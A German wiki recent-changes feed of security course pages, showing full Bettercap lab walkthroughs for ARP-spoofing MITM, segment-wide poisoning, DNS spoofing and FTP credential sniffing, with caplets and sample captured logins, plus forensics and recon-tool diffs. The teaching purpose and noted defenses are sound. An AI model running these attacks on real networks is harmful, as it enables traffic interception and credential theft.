Xinux Wiki - Letzte Änderungen [de]

Tcp/ip kompakt

Thomas.will — Sun, 23 Aug 2026 11:02:35 GMT

Datei:Tcp-ip1.jpg

Thomas.will — Sun, 23 Aug 2026 11:02:14 GMT

Thomas.will lud Datei:Tcp-ip1.jpg hoch

Neue Seite

Tcp/ip kompakt

Thomas.will — Sun, 23 Aug 2026 11:01:58 GMT

Hauptseite

Thomas.will — Sun, 23 Aug 2026 07:33:57 GMT

Datei:Xinux-og.png

Thomas.will — Sat, 22 Aug 2026 11:53:21 GMT

Thomas.will lud Datei:Xinux-og.png hoch

Neue Seite

Guymager

Thomas.will — Fri, 21 Aug 2026 07:06:49 GMT

Vorbereitung

Strings Beispiele

Thomas.will — Fri, 21 Aug 2026 06:35:26 GMT

Image erzeugen

Binwalk Anwenden

Thomas.will — Fri, 21 Aug 2026 06:23:18 GMT

Suchen nach Opcodes

Pipal

Thomas.will — Fri, 21 Aug 2026 04:39:39 GMT

Pipal anwenden

Thomas.will — Fri, 21 Aug 2026 04:38:20 GMT

Cutycapt Anwenden

Thomas.will — Fri, 21 Aug 2026 04:35:13 GMT

Mehrere Ziele automatisiert erfassen

Binwalk Anwenden

Thomas.will — Fri, 21 Aug 2026 04:29:09 GMT

Kali Tools

Thomas.will — Fri, 21 Aug 2026 04:25:15 GMT

Forensik Tools

OPNsense HA Umsetzung

Thomas.will — Thu, 20 Aug 2026 19:12:26 GMT

Debugging

Änderungen zeigen

Datei:Ha-opnsense-kit.drawio.png

Thomas.will — Thu, 20 Aug 2026 18:50:39 GMT

Thomas.will lud eine neue Version von Datei:Ha-opnsense-kit.drawio.png hoch

Neue Seite

OPNsense HA Umsetzung

Thomas.will — Thu, 20 Aug 2026 18:49:49 GMT

virtuelle WAN IP

Bounty Hunter Tools

Thomas.will — Thu, 20 Aug 2026 18:35:00 GMT

Bounty Hunter Tools

Thomas.will — Thu, 20 Aug 2026 18:26:46 GMT

Die Seite wurde neu angelegt: „{{DISPLAYTITLE:Kali Bug Bounty Hunting – Recon & Web-Testing}} Diese Seite fasst die wichtigsten Werkzeuge für '''Reconnaissance / Angriffsflächen-Mapping…“

Änderungen zeigen

Kali Tools

Thomas.will — Thu, 20 Aug 2026 18:22:11 GMT

Weiteres zu Kali Tools

Bettercap: Credential-Harvesting mit net.sniff

Thomas.will — Thu, 20 Aug 2026 16:16:16 GMT

Als Caplet (reproduzierbar)

Bettercap: Credential-Harvesting mit net.sniff

Thomas.will — Thu, 20 Aug 2026 16:08:02 GMT

Die Seite wurde neu angelegt: „=Bettercap: Credential-Harvesting mit net.sniff= =Szenario= *FTP-SERVER (Opfer) = 10.0.10.104 *CLIENT (userver) = 10.0.10.103 *ANGREIFER = 10.0.…“

Neue Seite

=Bettercap: Credential-Harvesting mit net.sniff=

=Szenario=
*FTP-SERVER (Opfer) = 10.0.10.104
*CLIENT (userver) = 10.0.10.103
*ANGREIFER = 10.0.10.101
*INTERFACE = eth0

Der CLIENT userver loggt sich per FTP auf dem FTP-SERVER ein. Der Angreifer sitzt
per ARP-Spoofing zwischen beiden und liest die FTP-Zugangsdaten mit. FTP uebertraegt
Login und Passwort im Klartext - net.sniff erkennt den Login automatisch und zeigt
Benutzer und Passwort als fertige Zeile an.

=Benoetigtes Paket=
*apt-get install bettercap

=Angreifer: MITM + Sniffer starten=
*bettercap -iface eth0

;Im bettercap-Prompt:
*set arp.spoof.targets 10.0.10.103,10.0.10.104
*set arp.spoof.internal true
*set arp.spoof.fullduplex true
*set net.sniff.filter "tcp port 21 or tcp port 20"
*net.probe on
*arp.spoof on
*net.sniff on

=Optionen=
arp.spoof.targets = beide Hosts (Client und FTP-Server)
arp.spoof.internal true = Host-zu-Host im LAN vergiften (beide sind interne Hosts)
arp.spoof.fullduplex = beide Richtungen vergiften
net.sniff.filter = nur FTP-Verkehr anzeigen (21 Steuerkanal, 20 Datenkanal)
net.probe on = ARP-Cache vorab fuellen
arp.spoof on = ARP-Spoofing starten
net.sniff on = Sniffer mit Protokoll-Parsern starten

;net.sniff ist kein reiner Mitschnitt: es kennt die Klartext-Protokolle und zieht
;die Zugangsdaten selbst heraus. Man muss den TCP-Stream nicht von Hand
;zusammensetzen - der FTP-Login erscheint fertig geparst im Log.

=Als Caplet (reproduzierbar)=
;Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,
;damit man sie nicht jedes Mal von Hand tippt.
*vim seclab-ftp-creds.cap:
net.probe on
set arp.spoof.targets 10.0.10.103,10.0.10.104
set arp.spoof.internal true
set arp.spoof.fullduplex true
set net.sniff.filter "tcp port 21 or tcp port 20"
arp.spoof on
net.sniff on

;Start:
*bettercap -iface eth0 -caplet seclab-ftp-creds.cap

=Auf dem CLIENT: FTP-Login ausloesen=
;Damit es etwas mitzuschneiden gibt, loggt sich der userver auf dem FTP-Server ein.
*ftp 10.0.10.104
Connected to 10.0.10.104.
Name (10.0.10.104:root): testuser
Password: geheim123
230 Login successful.
ftp> quit

=Auf dem Angreifer: der abgegriffene Login=
;Im net.sniff-Log erscheint der Login fertig geparst, etwa so:
[net.sniff.ftp] 10.0.10.103 > 10.0.10.104 user 'testuser'
[net.sniff.ftp] 10.0.10.103 > 10.0.10.104 pass 'geheim123'

;Benutzer und Passwort stehen im Klartext da - ohne dass man den TCP-Stream
;von Hand zusammenbauen musste.

=Gegenprobe: derselbe Login in Wireshark=
;Zum Vergleich denselben FTP-Login in Wireshark oeffnen und "Follow TCP Stream"
;waehlen. Man sieht dieselben Daten - aber verteilt ueber viele Pakete und ohne
;fertige Auswertung. Das zeigt, was net.sniff dem Angreifer an Arbeit abnimmt.

=Angriff beenden=
;Im bettercap-Prompt:
*arp.spoof off
*q

;arp.spoof off schickt re-ARP, damit die ARP-Caches von Client und Server wieder
;stimmen.

=Warum das funktioniert - und die Abwehr=
;FTP uebertraegt Login und Passwort unverschluesselt. Die Abwehr ist nicht "besser
;aufpassen", sondern das Protokoll ersetzen:
;* FTPS (FTP ueber TLS) oder SFTP (ueber SSH) statt Klartext-FTP
;* Damit sieht net.sniff nur noch verschluesselte Bytes - kein Login mehr im Klartext

=Weiterfuehrende Angriffe=
*[[Ngrep]]

Ettercap

Thomas.will — Thu, 20 Aug 2026 16:07:51 GMT

Spoofing Methoden

Dnsspoofing mit Bettercap

Thomas.will — Thu, 20 Aug 2026 14:31:02 GMT

Die Seite wurde neu angelegt: „=Bettercap: DNS-Spoofing= =Szenario= *OPFER=10.0.10.104 *ANGREIFER=10.0.10.101 *INTERFACE=eth0 Der Angreifer sitzt bereits per ARP-Spoofing zwischen OPFER un…“

Neue Seite

=Bettercap: DNS-Spoofing=

=Szenario=
*OPFER=10.0.10.104
*ANGREIFER=10.0.10.101
*INTERFACE=eth0

Der Angreifer sitzt bereits per ARP-Spoofing zwischen OPFER und Gateway und
faelscht zusaetzlich die DNS-Antworten. Fragt das OPFER nach xinux.de, bekommt
es die IP des Angreifers zurueck statt der echten - und landet auf dessen Server.

=Benoetigtes Paket=
*apt-get install bettercap

=Echte Adresse zum Vergleich=
*host -4 xinux.de
xinux.de has address 94.130.248.215

=Angreifer: Spoofing-Ziel festlegen=
;bettercap steuert das Umschreiben ueber zwei Werte: welche Namen gefaelscht
;werden (dns.spoof.domains) und auf welche IP umgebogen wird (dns.spoof.address).
*bettercap -iface eth0

;Im bettercap-Prompt:
*set arp.spoof.targets 10.0.10.104
*set arp.spoof.fullduplex true
*set dns.spoof.domains xinux.de
*set dns.spoof.address 10.0.10.101
*net.probe on
*arp.spoof on
*dns.spoof on

=Optionen=
arp.spoof.targets = das Opfer
arp.spoof.fullduplex = beide Richtungen vergiften (Opfer und Gateway)
dns.spoof.domains = welche Namen gefaelscht werden (hier xinux.de)
dns.spoof.address = auf welche IP umgebogen wird (die des Angreifers)
net.probe on = ARP-Cache vorab fuellen
arp.spoof on = ARP-Spoofing starten (Voraussetzung fuers DNS-Spoofing)
dns.spoof on = DNS-Antworten faelschen

;Wichtig: dns.spoof funktioniert nur, wenn arp.spoof laeuft. Erst muss der DNS-
;Verkehr des Opfers ueber den Angreifer laufen, dann kann er die Antworten
;umschreiben. Nur dns.spoof ohne arp.spoof sieht die Anfragen gar nicht.

=Als Caplet (reproduzierbar)=
;Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,
;damit man sie nicht jedes Mal von Hand tippt.
*vim seclab-dns.cap:
net.probe on
set arp.spoof.targets 10.0.10.104
set arp.spoof.fullduplex true
set dns.spoof.domains xinux.de
set dns.spoof.address 10.0.10.101
arp.spoof on
dns.spoof on

;Start:
*bettercap -iface eth0 -caplet seclab-dns.cap

=OPFER: Beweis=
*ping xinux.de
PING xinux.de (10.0.10.101) 56(84) bytes of data.
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=1 ttl=64 time=0.444 ms
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=2 ttl=64 time=0.395 ms
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=3 ttl=64 time=0.263 ms

;Statt der echten 94.130.248.215 loest xinux.de jetzt auf 10.0.10.101 auf - die
;Adresse des Angreifers. Das Opfer landet bei jedem Aufruf von xinux.de auf dem
;Server des Angreifers.

=Angriff beenden=
;Im bettercap-Prompt:
*dns.spoof off
*arp.spoof off
*q

;arp.spoof off schickt re-ARP, damit die ARP-Caches wieder stimmen.

=Weiterfuehrende Angriffe=
*[[Ngrep]]

Ettercap

Thomas.will — Thu, 20 Aug 2026 14:30:45 GMT

Spoofing Methoden

Dnspoof mit ettercap plugin

Thomas.will — Thu, 20 Aug 2026 14:30:04 GMT

Arpspoofing mit Bettercap Kompletter Verkehr

Thomas.will — Thu, 20 Aug 2026 14:26:39 GMT

Die Seite wurde neu angelegt: „=Bettercap: Kompletter Verkehr im Segment= =Szenario= *INTERFACE=eth0 *Netz: 10.0.10.0/24 Ohne Einschraenkung auf einzelne Ziele vergiftet bettercap alle err…“

Neue Seite

=Bettercap: Kompletter Verkehr im Segment=

=Szenario=
*INTERFACE=eth0
*Netz: 10.0.10.0/24

Ohne Einschraenkung auf einzelne Ziele vergiftet bettercap alle erreichbaren
Hosts. Der gesamte Verkehr des Segments laeuft dann ueber den Angreifer - nicht
nur die Strecke eines einzelnen Opfers.

=Benoetigtes Paket=
*apt-get install bettercap

=Angriff auf dem Angreifer=
*bettercap -iface eth0

;Im bettercap-Prompt:
*set arp.spoof.targets 10.0.10.0/24
*set arp.spoof.internal true
*set arp.spoof.fullduplex true
*net.probe on
*arp.spoof on
*net.sniff on

=Optionen=
-iface eth0 = Interface
arp.spoof.targets = ganzes Netz statt einzelner Hosts
arp.spoof.internal true = auch Host-zu-Host im LAN vergiften, nicht nur Richtung Gateway
arp.spoof.fullduplex = beide Richtungen vergiften
net.probe on = ARP-Cache vorab fuellen, damit alle MACs bekannt sind
arp.spoof on = ARP-Spoofing starten
net.sniff on = Mitschnitt starten

;Das Gegenstueck zu ettercaps /// /// ist hier arp.spoof.targets 10.0.10.0/24
;zusammen mit arp.spoof.internal true. Erst das ganze Netz als Ziel UND internal
;true zusammen ergeben "alle gegen alle" - internal allein oder das Netz allein
;wuerden nur einen Teil erfassen.

=Warnung=
;Das ist der lauteste und riskanteste MITM ueberhaupt:
;* Der Angreifer muss den GESAMTEN Verkehr des Segments weiterleiten. Bei vielen
; Hosts wird die Angreifer-Maschine schnell zum Flaschenhals - Pakete gehen
; verloren, Verbindungen brechen ab, das ganze Netz wird langsam.
;* Der Angriff ist im Netz sofort auffaellig (ARP-Sturm, doppelte MACs ueberall).
;* Im Kurslabor unbedingt darauf achten, dass nur die eigene Uebungsgruppe
; betroffen ist und nicht die Nachbargruppen mit im selben Segment haengen.

;Fuer gezieltes Abhoeren ist die Variante mit benannten Zielen (CLIENT/GATEWAY
;oder Host-zu-Host) fast immer die bessere Wahl. Das ganze Netz zu spoofen ist
;die Demo fuer "so sieht es aus, wenn jemand mit dem Vorschlaghammer kommt".

=Als Caplet (reproduzierbar)=
;Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,
;damit man sie nicht jedes Mal von Hand tippt.
*vim seclab-all.cap:
net.probe on
set arp.spoof.targets 10.0.10.0/24
set arp.spoof.internal true
set arp.spoof.fullduplex true
arp.spoof on
net.sniff on

;Start:
*bettercap -iface eth0 -caplet seclab-all.cap

=Nachweis auf einem beliebigen Host=
;Mehrere IPs zeigen ploetzlich dieselbe MAC - die des Angreifers
*arp -n
10.0.10.1 ether <MAC-der-kali-innen> C eth0
10.0.10.103 ether <MAC-der-kali-innen> C eth0
10.0.10.105 ether <MAC-der-kali-innen> C eth0

;Wenn quer durch die Tabelle dieselbe MAC auftaucht, laeuft ein Segment-weiter MITM.

=Angriff beenden=
;Im bettercap-Prompt:
*arp.spoof off
*q

;arp.spoof off schickt korrekte ARP-Antworten (re-ARP) an alle betroffenen Hosts,
;damit die ARP-Caches wieder stimmen und das Netz normal weiterarbeitet.

=Weiterfuehrende Angriffe=
*[[Ngrep]]

Arpspoofing mit Ettercap Kompletter Verkehr

Thomas.will — Thu, 20 Aug 2026 14:25:17 GMT

Arpspoofing mit Bettercap Gateway vorgauckeln

Thomas.will — Thu, 20 Aug 2026 14:19:56 GMT

Die Seite wurde neu angelegt: „=Bettercap: MITM zwischen Client und Gateway= =Szenario= *CLIENT=10.0.10.104 *GATEWAY=10.0.10.1 *INTERFACE=eth0 Der Angreifer schaltet sich per ARP-Spoofing…“

Neue Seite

=Bettercap: MITM zwischen Client und Gateway=

=Szenario=
*CLIENT=10.0.10.104
*GATEWAY=10.0.10.1
*INTERFACE=eth0

Der Angreifer schaltet sich per ARP-Spoofing zwischen den CLIENT und das GATEWAY.
Damit laeuft der gesamte Verkehr, den der CLIENT ins Internet oder in andere Netze
schickt, ueber den Angreifer. Das ist der klassische Fall zum Abhoeren des
Internet-Verkehrs eines einzelnen Opfers.

=Benoetigtes Paket=
*apt-get install bettercap

=Angriff auf dem Angreifer=
*bettercap -iface eth0

;Im bettercap-Prompt:
*set arp.spoof.targets 10.0.10.104
*set arp.spoof.fullduplex true
*set net.sniff.filter "tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143"
*net.probe on
*arp.spoof on
*net.sniff on

=Optionen=
-iface eth0 = Interface
arp.spoof.targets = das Opfer (CLIENT); das Gateway ergibt sich automatisch
arp.spoof.fullduplex = beide Richtungen vergiften (CLIENT und GATEWAY)
net.sniff.filter = nur die Klartext-Dienste anzeigen (BPF-Filter wie bei tcpdump)
net.probe on = ARP-Cache vorab fuellen, damit die MACs bekannt sind
arp.spoof on = ARP-Spoofing starten
net.sniff on = Mitschnitt starten

;Anders als bei der Host-zu-Host-Variante wird hier arp.spoof.internal NICHT
;gebraucht: das Ziel ist die Strecke CLIENT-GATEWAY, und die vergiftet bettercap
;standardmaessig. arp.spoof.internal ist nur noetig, wenn zwei interne Hosts
;untereinander abgehoert werden sollen.

;Der Filter net.sniff.filter blendet allen uebrigen Verkehr aus, damit die
;Klartext-Logins nicht im Rauschen untergehen. Ohne ihn funktioniert der Angriff
;genauso, man sieht nur mehr. Die Ports:
21 FTP Login + Passwort im Klartext
23 Telnet komplette Sitzung im Klartext
80 HTTP unverschluesselter Web-Verkehr
110 POP3 Login + Passwort im Klartext
143 IMAP Login + Passwort im Klartext

;IP-Forwarding muss nicht von Hand gesetzt werden - bettercap leitet die Pakete
;selbst weiter, sobald arp.spoof laeuft.

=Als Caplet (reproduzierbar)=
;Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,
;damit man sie nicht jedes Mal von Hand tippt.
*vim seclab-c2g.cap:
net.probe on
set arp.spoof.targets 10.0.10.104
set arp.spoof.fullduplex true
set net.sniff.filter "tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143"
arp.spoof on
net.sniff on

;Start:
*bettercap -iface eth0 -caplet seclab-c2g.cap

=Nachweis auf dem CLIENT=
;Im ARP-Cache steht fuer das GATEWAY die MAC-Adresse des Angreifers
*arp -n | grep 10.0.10.1
10.0.10.1 ether <MAC-der-kali-innen> C eth0

=Nachweis auf dem GATEWAY=
;Im ARP-Cache steht fuer den CLIENT dieselbe MAC-Adresse
*arp -n | grep 10.0.10.104
10.0.10.104 ether <MAC-der-kali-innen> C eth0

;Beide Seiten tragen fuer unterschiedliche IPs dieselbe MAC ein - das ist der Beleg
;fuer den laufenden MITM.

=Was jetzt sichtbar wird=
;Der gesamte Verkehr des CLIENT laeuft ueber den Angreifer. Die Klartext-Dienste
;erscheinen im net.sniff-Mitschnitt. HTTPS, SSH und andere verschluesselte Dienste
;laufen zwar ebenfalls ueber den Angreifer, sind aber nicht im Klartext lesbar.
;Genau das ist die Lehre: MITM funktioniert weiterhin, aber Verschluesselung
;entwertet den Mitschnitt.

=Angriff beenden=
;Im bettercap-Prompt:
*arp.spoof off
*q

;arp.spoof off schickt korrekte ARP-Antworten (re-ARP), damit die ARP-Caches von
;CLIENT und GATEWAY wieder auf die echten MAC-Adressen zeigen und das Opfer normal
;weiterarbeiten kann.

=Weiterfuehrende Angriffe=
*[[Ngrep]]

@@ Zeile 1: / Zeile 1: @@
 </div>
 <div style="margin-left: 20px;">
-[[Datei:tcp-ip1.jpg|rechts|300px]]
+[[Datei:tcp-ip1.jpg|rechts|500px]]
 </div>
 </div>

@@ Zeile 1: / Zeile 1: @@
 </div>
 <div style="margin-left: 20px;">
-[[Datei:cybersec-adv.jpg|rechts|300px]]
+[[Datei:tcp-ip1.jpg|rechts|300px]]
 </div>
 </div>

@@ Zeile 1: / Zeile 1: @@
 <div style="display: flex; align-items: flex-start;">
 <div style="flex: 1;">
 =Inhalt=
 *<big>[[Schulungen]]</big>
-*<big>[[Labs]]</big>
+*<big>[https://labs.xinux.net Labs]</big>
 *<big>[[Workshops]]</big>
 *<big>[[Spezial:Kategorien]]</big>
@@ Zeile 14: / Zeile 15: @@
 </div>
 <div style="margin-left: 20px;">
-[[Datei:Linux-gelabber.png|rechts|300px]]
+[[Datei:Xinux-og.png|rechts|600px]]
 </div>
 </div>

← Nächstältere Version		Version vom 21. August 2026, 07:06 Uhr
(Eine dazwischenliegende Version desselben Benutzers wird nicht angezeigt)
Zeile 1:		Zeile 1:
		+	=Vorbereitung=
		+	'''!!!Wichtig - Dies muss auf dem hostsystem geschehen!!!'''
		+	*cd Verzeichnis der kali-innen Maschine
		+	*wget https://xinux.de/downloads/usb.zip
		+	*unzip usb.zip
		+	;Einhängen in die Virtuelle kali Maschine
		+	Dann neu booten
		+
	=Starten=		=Starten=
	*sudo guymager		*sudo guymager

@@ Zeile 41: / Zeile 41: @@
 == Erste Einordnung der Datei ==
-*file sample1.bin
+*file sample1
 == Strings extrahieren ==
-*strings sample1.bin
+*strings sample1
 == Zielgerichtete Auswertung ==
@@ Zeile 65: / Zeile 65: @@
 == Szenario 2 – Analyse eines Datenträger-Images ==
 === Strings auf dem Image ===

@@ Zeile 2: / Zeile 2: @@
 binwalk braucht eine Datei mit mehreren eingebetteten Formaten. Eine solche "Firmware" bauen wir uns selbst — so ist bekannt, was drinsteckt, und das Ergebnis ist vorhersagbar.
 *cd /tmp
 *dd if=/dev/urandom of=header.bin bs=1k count=4
 *tar czf teil.tar.gz /etc/hosts /etc/passwd
-*cp /usr/share/icons/Adwaita/48x48/legacy/folder.png bild.png
+*cp Datei:Tux.png bild.png
 *cat header.bin bild.png teil.tar.gz > firmware.bin
@@ Zeile 25: / Zeile 26: @@
 =Suchen nach Opcodes=
 Durchsucht die Datei nach ausführbaren Opcodes gängiger CPU-Architekturen. Einige Opcode-Signaturen sind kurz und damit anfällig für Fehltreffer.
-*binwalk -A /bin/ls
+*binwalk /bin/ls
 =Deaktiviert den "intelligenten" Signaturabgleich=

← Nächstältere Version		Version vom 21. August 2026, 04:39 Uhr
(2 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1:		Zeile 1:
−	*[[Pipal ~~Paketbeschreibung]]~~	+
−	*~~[[Pipal anwenden]]~~	+	=Überblick=
		+	*Dieses Tool liefert Ihnen lediglich die Statistiken und Informationen
		+	*Diese helfen Ihnen bei der Analyse der Passwörter.
		+	*Die eigentliche Arbeit wird von Ihnen bei der Interpretation der Ergebnisse geleistet.
		+	=Quelle=
		+	*Autor: Robin Wood
		+	*Lizenz: Creative Commons Namensnennung-Weitergabe unter gleichen Bedingungen 2.0
		+	=Pipal=
		+	pipal wertet eine Liste von '''Klartext-Passwörtern''' statistisch aus — Längen, Muster, häufige Basiswörter, Zahlen am Ende. Eingabe sind geknackte Passwörter (aus john/hashcat), nicht die Hashes. Ergebnis ist ein fertiges Berichtskapitel: Wie sicher sind die Passwörter in der geprüften Umgebung?
		+
		+	=Passwortliste holen=
		+	*wget https://xinux.de/downloads/script/bad-passwords
		+
		+	=Analyse ausführen=
		+	*pipal bad-passwords
		+
		+	Die Auswertung zeigt u.a.:
		+	* '''Top-Passwörter''' — Dubletten werden gezählt (Sommer2023 mehrfach)
		+	* '''Basiswörter''' — der Wortstamm ohne Zahl/Symbol (sommer, passwort)
		+	* '''Längenverteilung''' und Anteil "mehr als acht Zeichen"
		+	* '''Muster''' — "erstes Zeichen groß, letzte Ziffer", Jahreszahl am Ende
		+	* '''Letzte Ziffer''' als Balkendiagramm
		+
		+	=Ergebnis in Datei schreiben=
		+	*pipal --output bericht.txt bad-passwords
		+
		+	=Mehr als Top 10 anzeigen=
		+	*pipal --top 25 bad-passwords

@@ Zeile 1: / Zeile 1: @@
-*pipal pass
+=Pipal=
-<pre>
+pipal wertet eine Liste von '''Klartext-Passwörtern''' statistisch aus — Längen, Muster, häufige Basiswörter, Zahlen am Ende. Eingabe sind geknackte Passwörter (aus john/hashcat), nicht die Hashes. Ergebnis ist ein fertiges Berichtskapitel: Wie sicher sind die Passwörter in der geprüften Umgebung?
-Basic Results
+=Analyse ausführen=
-Total entries = 3
+Die Auswertung zeigt u.a.:
-Total unique entries = 3
+* '''Top-Passwörter''' — Dubletten werden gezählt (Sommer2023 mehrfach)
-Top 10 passwords
+=Ergebnis in Datei schreiben=
-$6$63AARLar$tv0AoqQGP34SNm8trdkOi/xO6SXfnPVNaFYRW/7KX1AMPFc8.TmtHrnUeDk2NCnLwKmu9K0ELtZIZTTM3Y1w0/ = 1 (33.33%)
+*pipal --output bericht.txt bad-passwords
-Top 10 base words
+=Mehr als Top 10 anzeigen=
-aarlar$tv0aoqqgp34snm8trdkoi/xo6sxfnpvnafyrw/7kx1ampfc8.tmthrnuedk2ncnlwkmu9k0eltzizttm3y1w = 1 (33.33%)
+*pipal --top 25 bad-passwords

@@ Zeile 1: / Zeile 1: @@
 =Webseite in ein PNG verwandeln=
 *cutycapt --url=http://www.xinux.de --out=xinux.png
-=Webseite in ein JPG verwandeln=
+Das Ausgabeformat wird an der Dateiendung erkannt.
 *cutycapt --url=http://www.xinux.de --out=xinux.jpg
 *cutycapt --url=http://www.xinux.de --out=xinux.svg
 =Webseite mit Zoom=
 *cutycapt --url=https://www.xinux.de --zoom-factor=0.5 --out=xinux-zoom.png

@@ Zeile 1: / Zeile 1: @@
 =Signature=
-Dies führt eine Signaturanalyse der angegebenen Dateien durch; Wenn keine anderen Analyseoptionen angegeben sind, ist dies die Standardeinstellung.
+Führt eine Signaturanalyse der angegebenen Datei durch. Ist keine andere Analyseoption angegeben, ist dies die Standardeinstellung. Explizit angeben, wenn man die Signaturanalyse mit weiteren Analysatoren wie --entropy kombinieren möchte.
 =Suche nach einem String=
-*binwalk -R "\x00\x01\x02\x02\x04" firmware.bin
+Sucht nach einer beliebigen Byte-Folge statt nach bekannten Signaturen.
 =Deaktiviert den "intelligenten" Signaturabgleich=
 =Entpacke Binary=
 *binwalk -e firmware.bin
 =Links=
 *https://github.com/ReFirmLabs/binwalk/wiki/Usage

@@ Zeile 85: / Zeile 85: @@
 *[[foremost]] (P)
 *[[scalpel]] (P)
 *[[guymager]] (P)
 *[[The Sleuth Kit]] (P)

@@ Zeile 15: / Zeile 15: @@
 ; Die Reihenfolge und Anzahl der Netzwerkschnittstellen muss gleich sein!
 * Empfehlung für beide Maschinen:
 ** WAN
 ** SYN
-** LAN
 * Am Anfang sollten so wenige Dienst wie möglich laufen
@@ Zeile 53: / Zeile 54: @@
 | Interface || WAN
 |-
-| Address || 192.168.4.213/24
+| Address || 192.168.4.X+200/24
 |-
 | Virtual Password || radler

@@ Zeile 274: / Zeile 274: @@
 Subdomains sind ein zentraler Teil der Angriffsfläche – oft laufen dort vergessene, veraltete oder schlechter gepflegte Systeme. Die Kombination mehrerer Werkzeuge liefert die vollständigste Abdeckung.
-{{Hinweis|'''Aktualisiert:''' Im Original standen hier '''Sublist3r''' und die alte '''Amass'''-Syntax. Sublist3r wird kaum noch gepflegt; als moderner, aktiv gepflegter Standard hat sich '''subfinder''' (ProjectDiscovery) etabliert. Die Amass-Befehle sind auf die aktuelle v4-Syntax angepasst. Wenn du beim Original bleiben willst, sag Bescheid.}}
+=== subfinder – passiv (CORE) ===
 <syntaxhighlight lang="bash">
 subfinder -d target.example -o subfinder.txt
@@ Zeile 455: / Zeile 453: @@
 Öffentlich erreichbare Dokumente und Mitarbeiternamen sind wertvolle OSINT-Quellen: In Dokument-Metadaten stecken oft Benutzernamen, Software und interne Pfade; Namenslisten helfen bei der Einschätzung möglicher Konten.
 === metagoofil – PDFs sammeln (CORE) ===
@@ Zeile 470: / Zeile 466: @@
 Erweitert die Suche auf mehrere Dokumenttypen. Mehr Formate bedeuten mehr potenzielle Metadaten-Fundstellen (Autoren, Software, Pfade).
-=== exiftool – Metadaten auslesen (CORE, empfohlen) ===
+=== exiftool – Metadaten auslesen (CORE) ===
 <syntaxhighlight lang="bash">
 exiftool -r docs/ | grep -Ei "Author|Creator|Producer|Company|Software"
@@ Zeile 549: / Zeile 545: @@
 Ergänzend zu Gobuster gibt es weitere Werkzeuge für die Inhaltssuche, die etwas andere Stärken haben – etwa rekursives Vorgehen oder komfortablere Ausgabe.
 === dirsearch – Basis (CORE) ===
@@ Zeile 594: / Zeile 588: @@
 Nutzt eine bestehende Session per Cookie, um im eingeloggten Zustand zu suchen. Passend für Cookie-basierte Anwendungen.
-=== feroxbuster – schnelle rekursive Suche (ADVANCED, ersetzt DirBuster) ===
+=== feroxbuster – schnelle rekursive Suche (ADVANCED) ===
 <syntaxhighlight lang="bash">
 feroxbuster -u https://target.example -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 </syntaxhighlight>
-feroxbuster ist ein sehr schneller, in Rust geschriebener Content-Discovery-Scanner mit standardmäßig rekursivem Vorgehen. Es ersetzt die betagte DirBuster-GUI durch ein modernes CLI-Tool und eignet sich gut für gründliche, dennoch zügige Durchläufe.
+feroxbuster ist ein sehr schneller, in Rust geschriebener Content-Discovery-Scanner mit standardmäßig rekursivem Vorgehen. Er eignet sich gut für gründliche, dennoch zügige Durchläufe und arbeitet komplett über die Kommandozeile.
 === Chain: Treffer in Review-Liste (CHAIN) ===
@@ Zeile 610: / Zeile 604: @@
 Fuzzing bedeutet, systematisch viele Eingaben an definierten Stellen einer Anfrage durchzuprobieren – Pfade, Parameter, Header. Eigene, zielspezifische Wortlisten erhöhen die Trefferquote deutlich.
-{{Hinweis|'''Aktualisiert:''' '''wfuzz''' wird nicht mehr aktiv gepflegt; die Maintainer selbst verweisen auf '''ffuf'''. Alle Fuzzing-Beispiele sind daher auf ffuf umgestellt. '''CeWL''' (Wortlisten-Generator) bleibt, weil weiterhin nützlich und gepflegt.}}
+=== ffuf – Pfade fuzzen (CORE) ===
 <syntaxhighlight lang="bash">
 ffuf -w /usr/share/wordlists/dirb/common.txt -u https://target.example/FUZZ -mc 200,204,301,302,401,403
@@ Zeile 675: / Zeile 667: @@
 AutoRecon orchestriert viele der bisher genannten Werkzeuge zu einem geführten Ablauf: Es scannt, erkennt Dienste und startet passende Folgescans automatisch. Ideal, um pro Ziel reproduzierbar eine solide Grundaufnahme zu bekommen.
 === Ein Ziel (CORE) ===
@@ Zeile 929: / Zeile 919: @@
 Arachni ist ein leistungsfähiges, quelloffenes Framework zum automatisierten Auditieren von Webanwendungen. Es crawlt die Anwendung und prüft auf ein breites Spektrum an Schwachstellen; Ergebnisse lassen sich in Reports exportieren.
 === Basis-Audit (CORE) ===
@@ Zeile 980: / Zeile 968: @@
 Auditiert und exportiert das Ergebnis als JSON. Das maschinenlesbare Format eignet sich gut, um Funde mit anderen Werkzeugen zu korrelieren.
-=== Extra: nuclei – vorlagenbasierte Checks (ADVANCED, moderne Ergänzung) ===
+=== nuclei – vorlagenbasierte Checks (ADVANCED) ===
 <syntaxhighlight lang="bash">
 nuclei -u https://target.example -severity medium,high,critical
@@ Zeile 1.215: / Zeile 1.203: @@
 </syntaxhighlight>
 Prüft dasselbe Joomla-Ziel mit zwei unabhängigen Scannern und legt die Ergebnisse getrennt ab. Das Gegenprüfen mit einem zweiten Werkzeug erhöht die Verlässlichkeit der Funde.
 [[Kategorie:Security]]
 [[Kategorie:Kurs]]
 [[Kategorie:Kali]]

← Nächstältere Version		Version vom 20. August 2026, 18:22 Uhr
Zeile 103:		Zeile 103:
	*[[Kali Pentest Toolkit - Recon und Enumeration]]		*[[Kali Pentest Toolkit - Recon und Enumeration]]
	*[[PowerShell Empire]]		*[[PowerShell Empire]]
		+	*[[Bounty Hunter Tools]]

@@ Zeile 43: / Zeile 43: @@
 ;Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,
 ;damit man sie nicht jedes Mal von Hand tippt.
-*vim seclab-ftp-creds.cap:
+*vim seclab-ftp-creds.cap
   net.probe on
   set arp.spoof.targets 10.0.10.103,10.0.10.104
@@ Zeile 92: / Zeile 92: @@
 =Weiterfuehrende Angriffe=
-*[[Ngrep]]

